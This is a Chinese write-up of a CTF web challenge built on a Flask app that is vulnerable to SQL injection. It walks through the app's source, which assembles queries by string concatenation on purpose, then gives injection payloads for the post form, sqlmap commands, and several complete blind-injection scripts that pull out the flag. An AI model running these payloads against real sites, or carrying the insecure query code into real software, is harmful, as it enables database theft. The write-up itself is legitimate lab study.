前言
继续ctf的旅程
开始攻防世界web高手进阶区的9分题
本文是Web_python_flask_sql_injection的writeup
解题过程
给了一堆源码
这是 Flask 框架的结构
正好根据题目这应该是个SSTI和sql注入的题
源码分析
看看源码先
主要是找跟数据库相关的可能存在注入的地方
1、error.py
from flask import render_template
from app import app, db_session
@app.errorhandler(404)
def not_found_error(error):
return render_template('404.html'), 404
@app.errorhandler(500)
def internal_error(error):
return render_template('500.html'), 500
这里注册了两个错误处理函数
在整个 app 发生 HTTP 404 或者 HTTP 500 错误时 , 返回特定的页面
在 Flask 框架中 , 使用 @app.errorhandler()
装饰器来注册错误处理函数
该装饰器可以传入一个 HTTP 错误状态码 , 或者是特定的异常类
2、forms.py
import re
from flask_wtf import FlaskForm
from wtforms import StringField, PasswordField, BooleanField, SubmitField
from wtforms.validators import ValidationError, DataRequired, Email, EqualTo
from app import mysql
from flask_login import current_user
class LoginForm(FlaskForm):
username = StringField('Username', validators=[DataRequired()])
password = PasswordField('Password', validators=[DataRequired()])
remember_me = BooleanField('Remember Me')
submit = SubmitField('Sign In')
class RegistrationForm(FlaskForm):
username = StringField('Username', validators=[DataRequired()])
email = StringField('Email', validators=[DataRequired(), Email()])
password = PasswordField('Password', validators=[DataRequired()])
password2 = PasswordField(
'Repeat Password', validators=[DataRequired(), EqualTo('password')])
submit = SubmitField('Register')
def validate_username(self, username):
if re.match("^[a-zA-Z0-9_]+$", username.data) == None:
raise ValidationError('username has invalid charactor!')
user = mysql.One("user", {
"username": "'%s'" % username.data}, ["id"])
if user != 0:
raise ValidationError('Please use a different username.')
def validate_email(self, email):
user = mysql.One("user", {
"email": "'%s'" % email.data}, ["id"])
if user != 0:
raise ValidationError('Please use a different email address.')
class ResetPasswordRequestForm(FlaskForm):
email = StringField('Email', validators=[DataRequired(), Email()])
submit = SubmitField('Request Password Reset')
class ResetPasswordForm(FlaskForm):
password = PasswordField('Password', validators=[DataRequired()])
password2 = PasswordField(
'Repeat Password', validators=[DataRequired(), EqualTo('password')])
submit = SubmitField('Request Password Reset')
class EditProfileForm(FlaskForm):
username = StringField('Username', validators=[DataRequired()])
note = StringField('About me', validators=[])
submit = SubmitField('Submit')
def __init__(self, original_username, *args, **kwargs):
super(EditProfileForm, self).__init__(*args, **kwargs)
self.original_username = original_username
def validate_username(self, username):
if re.match("^[a-zA-Z0-9_]+$", username.data) == None:
raise ValidationError('username has invalid charactor!')
if username.data == current_user.username:
pass
else:
user = mysql.One(
"user", {
"username": "'%s'" % username.data}, ["id"])
if user != 0:
raise ValidationError('Please use a different username.')
def validate_note(self, note):
if re.match("^[a-zA-Z0-9_\'\(\) \.\_\*\`\-\@\=\+\>\<]*$", note.data) == None:
raise ValidationError("Don't input invalid charactors!")
class PostForm(FlaskForm):
post = StringField('Say something', validators=[DataRequired()])
submit = SubmitField('Submit')
这里用了Flask-WTF
- StringField : 表示字符串文本框
- validators : 指定提交表单的验证顺序
- DataRequired : 验证数据是否存在 , 不能为空
- Email() : 验证数据是否符合最基本的邮件格式
- PasswordField : 表示密码文本框 , 输入的内容不会直接以明文显示
- EqualTo : 验证两个字段的值是否相等
RegistrationForm 类中定义了两个函数 , 分别用于验证用户名和邮箱是否可用
-
先判断输入的用户名是否仅由字母数字下划线构成( 即是否存在特殊字符 )
若正确则调用 Mysql.One 函数 , 判断该用户是否存在 , 若不存在则会抛出异常 -
对用户输入的 Email 地址调用 mysql.One 函数 , 判断该邮箱地址是否已被注册
这个验证过程与用户名的验证形成了鲜明的对比 , 很容易发现这里缺少了对邮箱地址的验证 , 只要用户输入的邮箱地址满足最基本的邮箱格式 , 该地址就会被带入数据库中查询
编辑个人档案时调用了数据库 , 但是输入字段 username 的值已经通过了正则过滤 , 因此应该不存在利用点
发送帖子的过程没有直接调用数据库
3、init.py
from flask import Flask
from flask_login import LoginManager
from flask_bootstrap import Bootstrap
from flask_moment import Moment
from config import Config
from sqlalchemy import create_engine
from sqlalchemy.orm import scoped_session, sessionmaker
from sqlalchemy.ext.declarative import declarative_base, DeferredReflection
from others import Mysql_Operate
from Mysessions import FileSystemSessionInterface
app = Flask(__name__)
app.config.from_object(Config)
engine = create_engine(
app.config['SQLALCHEMY_DATABASE_URI'], convert_unicode=True)
db_session = scoped_session(sessionmaker(
autocommit=False, autoflush=False, bind=engine))
Base = declarative_base(cls=DeferredReflection)
Base.query = db_session.query_property()
mysql = Mysql_Operate(Base, engine, db_session)
login = LoginManager(app)
login.login_view = 'login'
bootstrap = Bootstrap(app)
moment = Moment(app)
app.session_interface = FileSystemSessionInterface(
app.config['SESSION_FILE_DIR'], app.config['SESSION_FILE_THRESHOLD'],
app.config['SESSION_FILE_MODE'])
from app import routes, models, errors
这个文件主要用于控制包的导入和各类初始化行为
- 框架和函数的导入
- 初始化 Flask 应用
- 初始化数据库连接
4、models.py
from datetime import datetime
from flask_login import UserMixin
from werkzeug.security import generate_password_hash, check_password_hash
from app import Base, login, mysql
from sqlalchemy import Column, Integer, String, Date, ForeignKey
from sqlalchemy.orm import relationship, backref
class Followers(Base):
__tablename__ = 'followers'
follower_id = Column('follower_id', Integer, ForeignKey('user.id'))
followed_id = Column('followed_id', Integer, ForeignKey('user.id'))
class User(UserMixin, Base):
__tablename__ = "user"
id = Column(Integer, primary_key=True)
username = Column(String(64), index=True, unique=True)
email = Column(String(120), index=True, unique=True)
password_hash = Column(String(128))
posts = relationship('Post', backref='author', lazy='dynamic')
note = Column(String(140))
last_seen = Column(Date, default=datetime.utcnow)
followed = relationship(
'User', secondary=Followers,
primaryjoin=(Followers.follower_id == id),
secondaryjoin=(Followers.followed_id == id),
backref=backref('Followers', lazy='dynamic'), lazy='dynamic')
def __repr__(self):
return '<User {}>'.format(self.username)
def set_password(self, password):
self.password_hash = generate_password_hash(password)
def check_password(self, password):
return check_password_hash(self.password_hash, password)
def follow(self, user):
if not self.is_following(user):
return mysql.Add("followers", ("%d" % self.id, "%d" % user.id))
def unfollow(self, user):
if self.is_following(user):
return mysql.Del("followers", {
"follower_id": self.id, "followed_id": user.id})
def is_following(self, user):
res = mysql.One(
'followers', {
"followed_id": user.id, "follower_id": self.id})
return True if (res != 0 and res != 1) else False
def get_followers(self):
return mysql.All('followers', {
"followed_id": self.id}, ['follower_id'])
def get_followed(self):
return mysql.All('followers', {
"follower_id": self.id}, ['followed_id'])
def followed_posts(self):
followedid = mysql.All(
'followers', {
"follower_id": self.id}, ['followed_id'])
tmp = ""
for i in followedid:
tmp += str(i[0]) + ","
followed = mysql.Sel('post', {
"user_id": "(%s)" % tmp[:-1]} if tmp[:-1] != "" else {
"user_id": "(-1)"}, where_symbols="in")
own = mysql.Sel('post', {
"user_id": self.id}, order=["id desc"])
posts = mysql.Unionall([followed, own])
return posts
@login.user_loader
def load_user(id):
msg = mysql.One("user", {
"id": id})
if msg != 0 and msg != -1:
user = User(id=msg[0], username=msg[1], email=msg[2],
password_hash=msg[3], note=msg[4], last_seen=msg[5])
return user
else:
return None
def load_user_by_username(username):
msg = mysql.One("user", {
"username": "'%s'" % username})
if msg != 0 and msg != -1:
user = User(id=msg[0], username=msg[1], email=msg[2],
password_hash=msg[3], note=msg[4], last_seen=msg[5])
return user
else:
return msg
class Post(Base):
__tablename__ = "post"
id = Column(Integer, primary_key=True)
body = Column(String(140))
user_id = Column(Integer, ForeignKey('user.id'))
timestamp = Column(Date, index=True, default=datetime.utcnow)
def __repr__(self):
return '<Post {}>'.format(self.body)
多次调用了 Column()
这个函数
- 从导入规则来看 , 该函数位于 SQLAlchemy 库中
- SQLAlchemy 是Python中的一个 ORM( Object-Relational Mapping , 把关系数据库的表结构映射到对象上 ) 框架
- Column() 函数的主要作用 , 就是确定表结构 , 确定表中各字段对应的属性
- 上图的内容也就是确定了 Column 对象和 User 对象中的各个属性,可以看作是表和表中字段的关系
定义了一堆函数针对用户的不同的操作调用不同的 SQL 语句 , 根据函数名很容易理解 .
两个load函数定义了 根据ID找到用户 和 根据用户名找到用户 两种方式
如果找到了具体用户 , 则将返回值一一对应到 User 类中
最后定义了 Post 类 , 该类用于确定发送帖子要包含的属性
5、others.py
#!flask/bin/python
from os import *
from sys import *
import datetime
from hashlib import md5
from pickle import Unpickler as Unpkler
from pickle import *
class Mysql_Operate():
def __init__(self, Base, engine, dbsession):
self.db_session = dbsession()
self.Base = Base
self.engine = engine
def Add(self, tablename, values):
sql = "insert into " + tablename + " "
sql += "values ("
sql += "".join(i + "," for i in values)[:-1]
sql += ")"
try:
self.db_session.execute(sql)
self.db_session.commit()
return 1
except:
return 0
def Del(self, tablename, where):
sql = "delete from " + tablename + " "
sql += "where " + \
"".join(i + "=" + str(where[i]) + " and " for i in where)[:-4]
try:
self.db_session.execute(sql)
self.db_session.commit()
return 1
except:
return 0
def Mod(self, tablemame, where, values):
sql = "update " + tablemame + " "
sql += "set " + \
"".join(i + "=" + str(values[i]) + "," for i in values)[:-1] + " "
sql += "where " + \
"".join(i + "=" + str(where[i]) + " and " for i in where)[:-4]
try:
self.db_session.execute(sql)
self.db_session.commit()
return 1
except:
return 0
def Sel(self, tablename, where={
}, feildname=["*"], order="", where_symbols="=", l="and"):
sql = "select "
sql += "".join(i + "," for i in feildname)[:-1] + " "
sql += "from " + tablename + " "
if where != {
}:
sql += "where " + "".join(i + " " + where_symbols + " " +
str(where[i]) + " " + l + " " for i in where)[:-4]
if order != "":
sql += "order by " + "".join(i + "," for i in order)[:-1]
return sql
def All(self, tablename, where={
}, feildname=["*"], order="", where_symbols="=", l="and"):
sql = self.Sel(tablename, where, feildname, order, where_symbols, l)
try:
res = self.db_session.execute(sql).fetchall()
if res == None:
return []
return res
except:
return -1
def One(self, tablename, where={
}, feildname=["*"], order="", where_symbols="=", l="and"):
sql = self.Sel(tablename, where, feildname, order, where_symbols, l)
try:
res = self.db_session.execute(sql).fetchone()
if res == None:
return 0
return res
except:
return -1
def Unionall(self, param):
sql = "".join(i + " union " for i in param)[:-6]
try:
res = self.db_session.execute(sql).fetchall()
if res == None:
return []
return res
except:
return -1
def Unionone(self, param):
sql = "".join(i + " union " for i in param)[:-6]
try:
res = self.db_session.execute(sql).fetchone()
if res == None:
return []
return res
except:
return -1
def Init_db(self):
self.Base.metadata.create_all(self.engine)
def Drop_db(self):
self.Base.metadata.drop_all(self.engine)
def now():
return datetime.datetime.utcnow().strftime("%Y-%m-%d")
def avatar(email, size):
digest = md5(email.lower().encode('utf-8')).hexdigest()
return 'https://www.gravatar.com/avatar/{}?d=identicon&s={}'.format(
digest, size)
black_type_list = [eval, execfile, compile, system, open, file, popen, popen2, popen3, popen4, fdopen,
tmpfile, fchmod, fchown, pipe, chdir, fchdir, chroot, chmod, chown, link,
lchown, listdir, lstat, mkfifo, mknod, mkdir, makedirs, readlink, remove, removedirs,
rename, renames, rmdir, tempnam, tmpnam, unlink, walk, execl, execle, execlp, execv,
execve, execvp, execvpe, exit, fork, forkpty, kill, nice, spawnl, spawnle, spawnlp, spawnlpe,
spawnv, spawnve, spawnvp, spawnvpe, load, loads]
class FilterException(Exception):
def __init__(self, value):
super(FilterException, self).__init__(
'the callable object {value} is not allowed'.format(value=str(value)))
def _hook_call(func):
def wrapper(*args, **kwargs):
print args[0].stack
if args[0].stack[-2] in black_type_list:
raise FilterException(args[0].stack[-2])
return func(*args, **kwargs)
return wrapper
def load(file):
unpkler = Unpkler(file)
unpkler.dispatch[REDUCE] = _hook_call(unpkler.dispatch[REDUCE])
return Unpkler(file).load()
这里问题大了
- Add , Del , Mod , Sel 就是对 Mysql 中 增(Insert) , 删(Delete) , 改(Update) , 查(Select) 四个操作的封装
并且只进行了字段拼接的操作 , 而没有进行任何的过滤 - Sel 语句只负责执行并提交拼接后的SQL查询语句 , 而不会接收数据库的返回信息
如果想要获取SQL语句查询结果 , 就需要进一步封装该函数 . - All 和 One 两个函数就是对 Sel 操作的进一步封装 , 分别对 Select 查询结果调用了 fetchall() 函数和 fetchone() 函数
- 然后是union查询
6、route.py
import re
from datetime import datetime
from flask import render_template, flash, redirect, url_for, request
from flask_login import login_user, logout_user, current_user, login_required
from werkzeug.urls import url_parse
from werkzeug.security import generate_password_hash
from app import app, mysql, db_session
from app.forms import LoginForm, RegistrationForm, EditProfileForm, PostForm
from app.models import load_user, load_user_by_username
from others import now, avatar
from itertools import izip
@app.before_request
def before_request():
if current_user.is_authenticated:
mysql.Mod('user', {
"id": current_user.id},
{
"last_seen": "'%s'" % now()})
@app.teardown_request
def shutdown_session(exception=None):
db_session.remove()
@app.route('/', methods=['GET', 'POST'])
@app.route('/index', methods=['GET', 'POST'])
@login_required
def index():
form = PostForm()
if form.validate_on_submit():
res = mysql.Add("post", ['NULL', "'%s'" % form.post.data,
"'%s'" % current_user.id, "'%s'" % now()])
if res == 1:
flash('Your post is now live!')
return redirect(url_for('index'))
page = request.args.get('page', 1, type=int)
all_posts = current_user.followed_posts()
post_per_page = app.config['POSTS_PER_PAGE']
posts = all_posts[(page - 1) * post_per_page:page * post_per_page if len(
all_posts) >= page * post_per_page else len(all_posts)]
next_url = url_for('explore', page=page + 1) \
if len(all_posts) > page * post_per_page else None
prev_url = url_for('explore', page=page - 1) \
if (page > 1 and len(all_posts) > page * post_per_page) else None
usernames = []
for i in posts:
usernames.append(load_user(i[2]))
return render_template('index.html', title='Home', form=form,
posts=posts, next_url=next_url,
prev_url=prev_url, usernames=usernames, izip=izip, avatars=avatar, dt=datetime.strptime)
@app.route('/explore')
@login_required
def explore():
page = request.args.get('page', 1, type=int)
page = page if page > 0 else 1
all_posts = mysql.All("post", order=["id desc"])
post_per_page = app.config['POSTS_PER_PAGE']
posts = all_posts[
(page - 1) * post_per_page:page * post_per_page if len(all_posts) >= page * post_per_page else len(
all_posts)]
next_url = url_for('explore', page=page + 1) \
if len(all_posts) > page * post_per_page else None
prev_url = url_for('explore', page=page - 1) \
if (page > 1 and len(all_posts) > (page - 1) * post_per_page) else None
usernames = []
for i in posts:
usernames.append(load_user(i[2]))
return render_template('index.html', title='Home',
posts=posts, usernames=usernames, next_url=next_url,
prev_url=prev_url, izip=izip, avatars=avatar, dt=datetime.strptime)
@app.route('/login', methods=['GET', 'POST'])
def login():
if current_user.is_authenticated:
return redirect(url_for('index'))
form = LoginForm()
if form.validate_on_submit():
user = load_user_by_username(form.username.data)
if user == -1:
flash('Something error!')
return render_template('500.html'), 500
if user == 0:
flash('Invalid username or password')
return redirect(url_for('login'))
login_user(user, remember=form.remember_me.data)
next_page = request.args.get('next')
if not next_page or url_parse(next_page).netloc != '':
next_page = url_for('index')
return redirect(next_page)
return render_template('login.html', title='Sign In', form=form)
@app.route('/logout')
def logout():
logout_user()
return redirect(url_for('index'))
@app.route('/register', methods=['GET', 'POST'])
def register():
if current_user.is_authenticated:
return redirect(url_for('index'))
form = RegistrationForm()
if form.validate_on_submit():
res = mysql.Add("user", ["NULL", "'%s'" % form.username.data, "'%s'" % form.email.data,
"'%s'" % generate_password_hash(form.password.data), "''", "'%s'" % now()])
if res == 1:
flash('Congratulations, you are now a registered user!')
return redirect(url_for('login'))
return render_template('register.html', title='Register', form=form)
@app.route('/user/<username>')
@login_required
def user(username):
if re.match("^[a-zA-Z0-9_]+$", username) == None:
return render_template('500.html'), 500
user = load_user_by_username(username)
if user == -1:
flash('Something error!')
return render_template('500.html'), 500
if user == 0:
flash('User is not exists')
return redirect(url_for('index'))
page = request.args.get('page', 1, type=int)
page = page if page > 0 else 1
all_posts = current_user.followed_posts()
post_per_page = app.config['POSTS_PER_PAGE']
posts = all_posts[
(page - 1) * post_per_page:page * post_per_page if len(all_posts) >= page * post_per_page else len(
all_posts)]
next_url = url_for('user', username=user.username, page=page + 1) \
if len(all_posts) > page * post_per_page else None
prev_url = url_for('user', username=user.username, page=page - 1) \
if (page > 1 and len(all_posts) > (page - 1) * post_per_page) else None
usernames = []
for i in posts:
usernames.append(load_user(i[2]))
return render_template('user.html', user=user, posts=posts, usernames=usernames,
next_url=next_url, prev_url=prev_url, izip=izip, avatars=avatar, dt=datetime.strptime)
@app.route('/edit_profile', methods=['GET', 'POST'])
@login_required
def edit_profile():
form = EditProfileForm(current_user.username)
if form.validate_on_submit():
current_user.username = form.username.data
current_user.note = form.note.data
res = mysql.Mod("user", {
"id": current_user.id}, {
"username": "'%s'" % current_user.username, "note": "'%s'" % current_user.note})
if res != 0:
flash('Your changes have been saved.')
return redirect(url_for('edit_profile'))
elif request.method == 'GET':
form.username.data = current_user.username
form.note.data = current_user.note
return render_template('edit_profile.html', title='Edit Profile',
form=form)
@app.route('/follow/<username>')
@login_required
def follow(username):
if re.match("^[a-zA-Z0-9_]+$", username) == None:
return render_template('500.html'), 500
user = load_user_by_username(username)
if user == -1:
flash('Something error!')
return render_template('500.html'), 500
if user == 0:
flash('User is not exists')
return redirect(url_for('index'))
if user == current_user:
flash('You cannot follow yourself!')
return redirect(url_for('user', username=username))
if current_user.follow(user):
flash('You are following {}!'.format(username))
else:
flash('Failed!')
return redirect(url_for('user', username=username))
@app.route('/unfollow/<username>')
@login_required
def unfollow(username):
if re.match("^[a-zA-Z0-9_]+$", username) == None:
return render_template('500.html'), 500
user = load_user_by_username(username)
if user == -1:
flash('Something error!')
return render_template('500.html'), 500
if user == 0:
flash('User is not exists')
return redirect(url_for('index'))
if user == current_user:
flash('You cannot unfollow yourself!')
return redirect(url_for('user', username=username))
if current_user.unfollow(user):
flash('You are not following {}.'.format(username))
else:
flash('Failed!')
return redirect(url_for('user', username=username))
先判断当前用户是否登录
若已登录 , 则通过 Mod() 函数( 现在我们知道是 update 语句 )修改当前登录用户的最后登录时间
index 页面存在 POST 提交功能 , 当站点发现用户点击了 Submit 按钮后 , 就会调用 Add() 函数将用户写入的内容插入到数据库中 ,没有对 POST 内容进行任何过滤
index 页面可以调用 followed_posts() 函数显示当前用户和跟踪者的所有 POST
explore 页面会调用 All() 函数根据 id 字段降序展示所有的 POST
当查询返回的 POST 过多时 , 站点会逐页显示所有的内容
login页面会判断当前用户是否已登录 , 若用户已登录则直接跳转到 index 页面
然后通过调用 load_user_by_username() 函数判断用户填写的用户名是否存在 , 若存在无误后调用 login
Register页面先判断当前用户是否已经登录,若已登录则直接跳转到 index 页面
当用户成功提交注册表单时 , 站点会调用 Add() 函数将用户信息添加到数据库中,提示用户登录成功 , 并跳转到登录页面 .
用户页面会判断当前当问的用户是否存在 , 用户名是否合法等信息 .
确认无误后 , 调用 followed_posts() 函数显示当前用户和追踪者的所有 POST .
若查询的 POST 过多时 , 站点会逐页显示所有的 POST .
edit_profile页面,当用户点击提交按钮时 , 站点会先判断修改信息的是不是当前用户 , 若是则会调用 Mod() 函数更新用户对应的信息 .
注入点分析
看完源码
有以下几个可能的注入点
- index 中 POST 没有过滤
- 注册填写 Email 时的漏洞
- edit_profile页面调用Mod()函数
下面开始尝试
对index的注入
看上面route.py里关于index的源码
主要是这部分
可以看到post的内容直接放进了数据库
且followed_posts() 函数会把当前用户的 POST 和追踪者的 POST 查询出来
补全一条数据然后注入
1','1','2020-10-12'),(Null,(select database()),'1','2020-10-12')#
感动!
成功得到数据库flask
那就是正常sql注入了
1','1','2020-10-12'),(Null,(select group_concat(table_name) from information_schema.tables where table_schema = 'flask'),'1','2020-10-12')#
出现flag表
1','1','2020-10-12'),(Null,(select group_concat(column_name) from information_schema.columns where table_schema = 'flask' and table_name = 'flag'),'1','2020-10-12')#
1','1','2020-10-12'),(Null,(select flag from flag),'1','2020-10-12')#
成功获取flag
对register的注入
事后看了看wp
官方给的是对register的注入
看上面form.py里
填写的 Email 字段没有进行任何验证 , 仅需要不为空和满足最基本的Email 格式即可 , 然后系统会将该值带入数据库中查询 , 来判断该 Email 是否已经被使用
尝试下这是个盲注
布尔或延时吧
sqlmap也可以
sqlmap.py -r test.txt -p email --prefix "123'" --suffix "#@qq.com" --dbms mysql 5.0 --dbs -v 4 --tamper=space2comment -csrf-token="csrf_token"
sqlmap.py -r test.txt -p email --prefix "123'" --suffix "#@qq.com" --dbms mysql 5.0 -D flask -T flag -C "flag" --dump -v 4 --tamper=space2comment -csrf-token="csrf_token"
官方脚本
import requests
from bs4 import BeautifulSoup
url = "http://127.0.0.1:8006/register"
r = requests.get(url)
soup = BeautifulSoup(r.text,"html5lib")
token = soup.find_all(id='csrf_token')[0].get("value")
notice = "Please use a different email address."
result = ""
database = "(SELECT/**/GROUP_CONCAT(schema_name/**/SEPARATOR/**/0x3c62723e)/**/FROM/**/INFORMATION_SCHEMA.SCHEMATA)"
tables = "(SELECT/**/GROUP_CONCAT(table_name/**/SEPARATOR/**/0x3c62723e)/**/FROM/**/INFORMATION_SCHEMA.TABLES/**/WHERE/**/TABLE_SCHEMA=DATABASE())"
columns = "(SELECT/**/GROUP_CONCAT(column_name/**/SEPARATOR/**/0x3c62723e)/**/FROM/**/INFORMATION_SCHEMA.COLUMNS/**/WHERE/**/TABLE_NAME=0x666c616161616167)"
data = "(SELECT/**/GROUP_CONCAT(flag/**/SEPARATOR/**/0x3c62723e)/**/FROM/**/flag)"
for i in range(1,100):
for j in range(32,127):
payload = "test'/**/or/**/ascii(substr("+ data +",%d,1))=%d#/**/@chybeta.com" % (i,j)
post_data = {
'csrf_token': token,
'username': 'a',
'email':payload,
'password':'a',
'password2':'a',
'submit':'Register'
}
r = requests.post(url,data=post_data)
soup = BeautifulSoup(r.text,"html5lib")
token = soup.find_all(id='csrf_token')[0].get("value")
if notice in r.text:
result += chr(j)
print result
break
一个大佬的脚本
import requests
import re
url = "http://220.249.52.133:59790/register"
cookie= {
"session":"5fdcfaa1-2489-40be-a983-a7e545f6f858" }
regexp1 = r'value="(.*)"' # 正则表达式 , 用于捕获所有 value 字段的值
regexp2 = r'Please use a different email address.' # 正则表达式 , 用于捕获所有的 Email 重复信息
# 获取 csrf_token
def get_csrf_token():
# 发送 GET 请求
response = requests.get(url,cookies=cookie)
# 获取 HTTP 响应数据包
res = response.text
# 进行正则匹配 , 发现返回列表中第一个 value 键值对就是 csrf_token 的值 , 获取它
csrf_token = re.findall(regexp1, res)[0]
#print(csrf_token)
return csrf_token
# 发送修改 profile 的 post 数据包
def post_register():
result = ""
# 调用 get_csrf_token 函数 , 得到 csrf_token 数据包
csrf_token = get_csrf_token()
# 循环发送数据包
# 构造 post 数据部
# 猜测版本信息最长10位
for i in range(1,43):
# 猜测版本信息由可显字符组成( 31 < ASCII < 127 )
for j in range(32,127):
#具体的 Payload , 用户可自行更改
# 爆出当前数据库( flask )
#datas = {"csrf_token":csrf_token,"username":"a","email":"a'/*-*/or/*-*/1=(ASCII(MID((select database())," + str(i) + ",1))=" + str(j) + ")#@a.com","password":"a","password2":"a","submit":"register"}
# 爆出当前数据库中的表 ( flag )
#datas = {"csrf_token":csrf_token,"username":"a","email":"a'/*-*/or/*-*/1=(ASCII(MID((select group_concat(table_name) from information_schema.tables where table_schema = 'flask')," + str(i) + ",1))=" + str(j) + ")#@a.com","password":"a","password2":"a","submit":"register"}
# 爆出 flag 表中的字段 ( flag )
#datas = {"csrf_token":csrf_token,"username":"a","email":"a'/*-*/or/*-*/1=(ASCII(MID((select group_concat(column_name) from information_schema.columns where table_schema = 'flask' and table_name = 'flag')," + str(i) + ",1))=" + str(j) + ")#@a.com","password":"a","password2":"a","submit":"register"}
# 爆出 flag 表中的字段 ( flag )
datas = {
"csrf_token":csrf_token,"username":"a","email":"a'/*-*/or/*-*/1=(ASCII(MID((select flag from flag)," + str(i) + ",1))=" + str(j) + ")#@a.com","password":"a","password2":"a","submit":"register"}
response = requests.post(url,data=datas,cookies=cookie,timeout=3)
res = response.text
if regexp2 in response.text:
result += chr(j)
print(result)
break
if __name__ == '__main__':
post_register()
对edit_profile的注入
这个真是给师傅们跪了
看到正则过滤我就没想法了
结果看到大佬在这儿注入了
脚本
import requests
import re
url = "http://111.198.29.45:47709/edit_profile"
cookie= {
"session":"b7ac39ee-d4f3-4780-90c9-c993cfc01da4" }
regexp = r'value="(.*)"' # 正则表达式 , 用于捕获所有 value 字段的值
# 获取 csrf_token
def get_csrf_token():
# 发送 GET 请求
response = requests.get(url,cookies=cookie)
# 获取 HTTP 响应数据包
res = response.text
# 进行正则匹配 , 发现返回列表中第一个 value 键值对就是 csrf_token 的值 , 获取它
csrf_token = re.findall(regexp, res)[0]
#print(csrf_token)
return csrf_token
# 发送修改 profile 的 post 数据包
def post_profile():
result = ""
# 调用 get_csrf_token 函数 , 得到 csrf_token 数据包
csrf_token = get_csrf_token()
# 循环发送数据包
# 构造 post 数据部
# 猜测版本信息最长10位
for i in range(1,43):
# 猜测版本信息由可显字符组成( 31 < ASCII < 127 )
for j in range(32,127):
#具体的 Payload , 用户可自行选择
# 1. 爆出当前数据库( flask )
#datas = {"csrf_token":csrf_token,"username":"a","note":"1' and (select 1=(ascii(substring((select database()) from " + str(i) + "))=" + str(j) + ")) and '1'='1","submit":"submit"}
# 2. 爆出含有 flag 的表( flag )
#datas = {"csrf_token":csrf_token,"username":"a","note":"1' and (select 1=(ascii(substring((select group_concat(table_name) from information_schema.tables where table_schema = 'flask') from " + str(i) + "))=" + str(j) + ")) and '1'='1","submit":"submit"}
# 3. 爆出含有 flag 表中的字段 ( flag )
#datas = {"csrf_token":csrf_token,"username":"a","note":"1' and (select 1=(ascii(substring((select group_concat(column_name) from information_schema.columns where table_schema = 'flask' and table_name = 'flag') from " + str(i) + "))=" + str(j) + ")) and '1'='1","submit":"submit"}
# 4. 爆出 flag 值 ( flag ) , 建议将 i 的范围修改为 range(1,43)
# 正则过滤了逗号 , 我们可以使用 substring(a from b) 这种格式取代 mid() 函数 , 从而绕过限制 .
datas = {
"csrf_token":csrf_token,"username":"a","note":"1' and (select 1=(ascii(substring((select flag from flag) from " + str(i) + "))=" + str(j) + ")) and '1'='1","submit":"submit"}
response = requests.post(url,data=datas,cookies=cookie,timeout=3)
res = response.text
# 进行正则匹配 , 如果这里 select 1=payload 返回 1 时 , 返回数据包中的 note 字段就会显示为 1 , 反之为 0
# 经过正则匹配 , 发现返回列表中第三个 value 键值对就是 note 的值 , 获取它
test = re.findall(regexp, res)[2]
#如果发现匹配的内容 , 则返回该ASCII编码对应的字符 , 并且跳出本次循环
#print(test)
if(test == str(1)):
result += chr(j)
print(result)
break
if __name__ == '__main__':
post_profile()
结语
结果发现是个代码审计+sql注入的题
跟SSTI没什么关系,不过用的是flask框架
关键是代码审计
量有点大的
最后的这个对edit_profile的注入有点凶的